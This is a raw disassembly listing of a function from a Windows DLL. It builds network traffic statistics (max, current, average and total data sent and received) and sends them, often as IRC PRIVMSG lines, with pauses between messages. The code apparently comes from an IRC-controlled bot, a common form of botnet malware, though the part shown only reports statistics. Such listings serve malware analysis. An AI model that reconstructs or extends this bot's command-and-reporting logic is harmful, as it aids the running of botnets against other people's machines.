lea r8, [0x1800677d8]
lea rcx, [rsp + 0x180]
mov edx, 0x7f
call fcn.1800528fc
lea rcx, [rsp + 0x180]
call fcn.1800529c0
movsxd rcx, dword [rsp + 0x48]
lea rdx, [rsp + 0x100]
mov r8, rax
call fcn.180004f10
cmp dword [rsp + 0x48], r14d
mov rdx, r15
lea rcx, [rsp + 0x200]
jle 0x180016bfd
cmp edi, r14d
jne 0x180016bdf
lea r9, [rsp + 0x100]
lea r8, str.Max_Data_Flow_SENT_______:__s___S_r_n
call fcn.1800528fc
jmp 0x180016c0e
lea rax, [rsp + 0x100]
lea r8, str.PRIVMSG__s_:Max_Data_Flow_SENT__________:__s___S_r_n
mov r9, rsi
mov qword [rsp + 0x20], rax
call fcn.1800528fc
jmp 0x180016c38
cmp edi, r14d
jne 0x180016c29
lea r8, str.Max_Data_Flow_SENT_______:_No_Data_Flow_r_n
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
jmp 0x180016c5a
lea r8, str.PRIVMSG__s_:Max_Data_Flow_SENT__________:_No_Data_Flow_r_n_r_n
mov r9, rsi
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x180]
xor edx, edx
mov r8d, 0x80
call fcn.180052810
lea rcx, [rsp + 0x100]
xor edx, edx
mov r8d, 0x80
call fcn.180052810
mov r9d, dword [rsp + 0x5c]
lea r8, [0x1800677d8]
lea rcx, [rsp + 0x180]
mov edx, 0x7f
call fcn.1800528fc
lea rcx, [rsp + 0x180]
call fcn.1800529c0
movsxd rcx, dword [rsp + 0x5c]
lea rdx, [rsp + 0x100]
mov r8, rax
call fcn.180004f10
cmp dword [rsp + 0x5c], r14d
mov rdx, r15
lea rcx, [rsp + 0x200]
jle 0x180016d0f
cmp edi, r14d
jne 0x180016cf1
lea r9, [rsp + 0x100]
lea r8, str.Current_Data_Flow_RECV___:__s___S_r_n
call fcn.1800528fc
jmp 0x180016d20
lea rax, [rsp + 0x100]
lea r8, str.PRIVMSG__s_:Current_Data_Flow_RECV______:__s___S_r_n
mov r9, rsi
mov qword [rsp + 0x20], rax
call fcn.1800528fc
jmp 0x180016d4a
cmp edi, r14d
jne 0x180016d3b
lea r8, str.Current_Data_Flow_RECV___:_No_Data_Flow_r_n
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
jmp 0x180016d6c
lea r8, str.PRIVMSG__s_:Current_Data_Flow_RECV______:_No_Data_Flow_r_n_r_n
mov r9, rsi
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x180]
xor edx, edx
mov r8d, 0x80
call fcn.180052810
lea rcx, [rsp + 0x100]
xor edx, edx
mov r8d, 0x80
call fcn.180052810
mov r9d, dword [rsp + 0x60]
lea r8, [0x1800677d8]
lea rcx, [rsp + 0x180]
mov edx, 0x7f
call fcn.1800528fc
lea rcx, [rsp + 0x180]
call fcn.1800529c0
movsxd rcx, dword [rsp + 0x60]
lea rdx, [rsp + 0x100]
mov r8, rax
call fcn.180004f10
cmp dword [rsp + 0x60], r14d
mov rdx, r15
lea rcx, [rsp + 0x200]
jle 0x180016e21
cmp edi, r14d
jne 0x180016e03
lea r9, [rsp + 0x100]
lea r8, str.Current_Data_Flow_SENT___:__s___S_r_n
call fcn.1800528fc
jmp 0x180016e32
lea rax, [rsp + 0x100]
lea r8, str.PRIVMSG__s_:Current_Data_Flow_SENT______:__s___S_r_n
mov r9, rsi
mov qword [rsp + 0x20], rax
call fcn.1800528fc
jmp 0x180016e5c
cmp edi, r14d
jne 0x180016e4d
lea r8, str.Current_Data_Flow_SENT___:_No_Data_Flow_r_n
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
jmp 0x180016e7e
lea r8, str.PRIVMSG__s_:Current_Data_Flow_SENT______:_No_Data_Flow_r_n_r_n
mov r9, rsi
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, [rsp + 0x601]
mov byte [rsp + 0x600], r14b
lea r8d, [rdx + 0x7f]
call fcn.180052810
lea rcx, [rsp + 0x200]
mov r8, r12
xor edx, edx
call fcn.180052810
mov rdx, r15
lea rcx, [rsp + 0x200]
cmp edi, r14d
jne 0x180016ec9
lea r8, str.Average_Data_Flow________:_No_Data_Flow_r_n
call fcn.1800528fc
jmp 0x180016ed8
lea r8, str.PRIVMSG__s_:Average_Data_Flow___________:_No_Data_Flow_r_n
mov r9, rsi
call fcn.1800528fc
lea rcx, [rsp + 0x600]
mov edx, 0x80
call fcn.1800068a8
cmp eax, r14d
je 0x180016f31
mov rdx, r15
lea rcx, [rsp + 0x200]
cmp edi, r14d
jne 0x180016f15
lea r9, [rsp + 0x600]
lea r8, str.Average_Data_Flow________:__s_r_n
call fcn.1800528fc
jmp 0x180016f36
lea rax, [rsp + 0x600]
lea r8, str.PRIVMSG__s_:Average_Data_Flow___________:__s_r_n
mov r9, rsi
mov qword [rsp + 0x20], rax
call fcn.1800528fc
cmp edi, r14d
jne 0x180016f51
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
jmp 0x180016f73
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea rcx, [0x18009aea0]
mov byte [rsp + 0xd8], r14b
mov qword [rsp + 0xd9], rax
mov qword [rsp + 0xe1], rax
mov qword [rsp + 0xe9], rax
mov dword [rsp + 0xf1], eax
mov word [rsp + 0xf5], ax
mov byte [rsp + 0xf7], al
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov r12, qword [0x18009b5e8]
lea rcx, [0x18009aea0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [rsp + 0x180]
xor edx, edx
mov r8d, 0x80
call fcn.180052810
xor edx, edx
lea rcx, [rsp + 0xd8]
lea r8d, [rdx + 0x20]
call fcn.180052810
lea rcx, [rsp + 0x100]
xor edx, edx
mov r8d, 0x80
call fcn.180052810
lea rcx, [rsp + 0x180]
mov r8, r12
mov edx, 0x80
call fcn.180004e04
cmp eax, r14d
jne 0x18001703f
lea r8, [0x1800677d8]
lea rcx, [rsp + 0x180]
mov r9, r12
mov edx, 0x7f
call fcn.1800528fc
lea rcx, [rsp + 0x180]
call fcn.1800529c0
lea rdx, [rsp + 0x100]
mov rcx, r12
mov r8, rax
call fcn.180004f10
lea r8, [rsp + 0xd8]
mov r9d, 0x20
mov edx, ebp
mov rcx, r12
call fcn.180004d54
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
call fcn.180052810
cmp r12, r14
mov rdx, r15
lea rcx, [rsp + 0x200]
jle 0x1800170e7
lea rax, [rsp + 0xd8]
cmp edi, r14d
jne 0x1800170c4
lea r9, [rsp + 0x100]
lea r8, str.Total_Data_Flow__________:__s_____s_r_n_r_n
mov qword [rsp + 0x20], rax
call fcn.1800528fc
jmp 0x1800170f8
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x100]
lea r8, str.PRIVMSG__s_:Total_Data_Flow_____________:__s_____s_r_n_r_n
mov r9, rsi
mov qword [rsp + 0x20], rax
call fcn.1800528fc
jmp 0x180017119
cmp edi, r14d
jne 0x18001710a
lea r8, str.Total_Data_Flow__________:_No_Data_Flow_r_n_r_n
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
jmp 0x180017137
lea r8, str.PRIVMSG__s_:Total_Data_Flow_____________:_No_Data_Flow_r_n_r_n
mov r9, rsi
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x9a0]
xor rcx, rsp
call fcn.1800527e0
lea r11, [rsp + 0x9c0]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret